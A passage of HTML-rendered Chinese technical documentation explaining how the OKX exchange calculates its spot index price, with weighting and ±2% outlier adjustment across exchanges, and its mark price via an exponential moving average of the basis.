mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2769em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1709em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><h5 id="3-2-1-1-公式符号说明">3.2.1.1 公式符号说明</h5><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>：现货指数价格（Index Price）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span>：参与计算的有效交易所总数</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>个交易所的预设权重（基于流动性、稳定性等因素确定）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>个交易所的原始现货价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2439em;vertical-align:-0.2769em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.967em;"><span style="top:-2.4231em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span><span style="top:-3.1809em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2769em;"><span></span></span></span></span></span></span></span></span></span>：第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>个交易所经过异常处理后的调整价格</li></ul><h5 id="3-2-1-2-基础计算规则">3.2.1.2 基础计算规则</h5><ul><li><strong>数据获取</strong>：实时从指定交易所检索相应交易对价格，受API速率限制</li><li><strong>交易所筛选</strong>：排除维护中或未及时更新价格的交易所</li><li><strong>合约类型区分</strong>：<ul><li>USDT本位合约：使用相应标的的USDT指数价格</li><li>USDC本位合约：使用相应标的的USDC指数价格</li><li>币本位合约：使用标的资产的USD等值现货指数价格</li></ul></li></ul><h5 id="3-2-1-3-分级加权机制">3.2.1.3 分级加权机制</h5><ul><li><p><strong>≥3个交易所可用</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2439em;vertical-align:-0.2769em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.967em;"><span style="top:-2.4231em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span><span style="top:-3.1809em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2769em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.32em;vertical-align:-1.91em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.35em;"><span style="top:-2.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-2.192em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.316em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.316em" style="width:0.8889em" viewBox="0 0 888.89 316" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V316 H384z M384 0 H504 V316 H384z"/></svg></span></span><span style="top:-4.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.85em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">0.98</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">1.02</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.41em;"><span style="top:-4.41em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span><span class="mord"> </span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0.98</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span><span style="top:-2.97em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span><span class="mord"> </span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1.02</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span><span style="top:-1.53em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">其他情况</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.91em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>为所有交易所价格的中位数</p></li><li><p><strong>2个交易所可用</strong>：等权重加权 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span></p></li><li><p><strong>1个交易所可用</strong>：直接使用该交易所价格 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p></li></ul><h5 id="3-2-1-4-异常价格处理">3.2.1.4 异常价格处理</h5><ul><li><strong>偏差检测</strong>：当交易所价格与中位数偏差超过±2%时触发</li><li><strong>价格修正</strong>：将异常价格调整至中位数的98%或102%</li><li><strong>动态调整</strong>：OKX可自行调整、增加、删除或替换交易所成分</li></ul><h4 id="3-2-2-标记价格计算">3.2.2 标记价格计算</h4><p><strong>公式3 标记价格计算公式</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">标记价格</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">基差移动平均值</span></span></span></span></span></span></p><h5 id="3-2-2-1-基差移动平均值计算">3.2.2.1 基差移动平均值计算</h5><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">基差移动平均值</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord text"><span class="mord">MA</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><h5 id="3-2-2-2-计算方法详解">3.2.2.2 计算方法详解</h5><p>根据行业标准和OKX的实际实现，标记价格通常采用 <strong>指数移动平均（EMA）</strong> 方法计算基差移动平均值：</p><p><strong>完整计算公式</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">标记价格</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">EMA</span></span><span class="mopen">(</span><span class="mord text"><span class="mord cjk_fallback">基差</span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>或者表示为</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord cjk_fallback">标记价格</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord text"><span class="mord">EMA</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><p><strong>1. 数据采样与基差计算</strong>：</p><ul><li><strong>采样频率</strong>：按固定时间间隔（通常每秒或每几秒）采集数据</li><li><strong>基差计算</strong>：<p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">基差</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span></span></p></li></ul><p>其中<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span>表示时间点，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span>分别为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span>时刻的合约最优买价和卖价</p><p><strong>2. 指数移动平均（EMA）计算</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord">EMA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">基差</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord text"><span class="mord">EMA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>EMA参数说明</strong>：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>：平滑系数，通常在0.1-0.3之间</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>越大，对近期数据权重越高，价格反应越灵敏</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 